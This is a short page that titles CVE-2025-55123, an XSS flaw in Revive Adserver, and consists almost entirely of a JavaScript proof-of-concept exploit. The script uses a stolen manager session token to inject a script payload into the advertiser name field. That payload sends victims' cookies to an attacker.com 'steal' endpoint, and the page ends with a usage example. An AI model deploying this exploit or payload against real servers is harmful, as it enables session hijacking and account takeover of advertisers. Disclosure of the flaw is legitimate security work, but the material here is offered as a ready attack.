CVE-2025-55123 Revive Adserver 跨站脚本(XSS)漏洞

// CVE-2025-55123 PoC - Revive Adserver XSS Injection // Author: Security Researcher // Target: Revive Adserver < 5.5.2, < 6.0.1 const axios = require('axios'); async function exploitCVE202555123(targetUrl, managerToken, advertiserId) { const xssPayload = '<script>document.location="https://attacker.com/steal?c=' + '"+encodeURIComponent(document.cookie)</script>'; // Login as manager account const loginUrl = `${targetUrl}/www/admin/login.php`; const session = axios.create({ baseURL: targetUrl }); // Send XSS payload to advertiser via message or ad campaign const injectionUrl = `${targetUrl}/www/admin/advertiser-edit.php`; try { // Inject XSS payload in advertiser name or campaign field const response = await session.post(injectionUrl, { clientid: advertiserId, clientname: xssPayload, submit: 'Save' }, { headers: { 'Cookie': `sessionid=${managerToken}`, 'Content-Type': 'application/x-www-form-urlencoded' } }); console.log('[+] XSS payload injected successfully'); console.log('[+] Payload will execute when advertiser views their dashboard'); return true; } catch (error) { console.error('[-] Exploitation failed:', error.message); return false; } } // Usage example // exploitCVE202555123('http://target-revive-adserver.com', 'manager_session_token', '12345');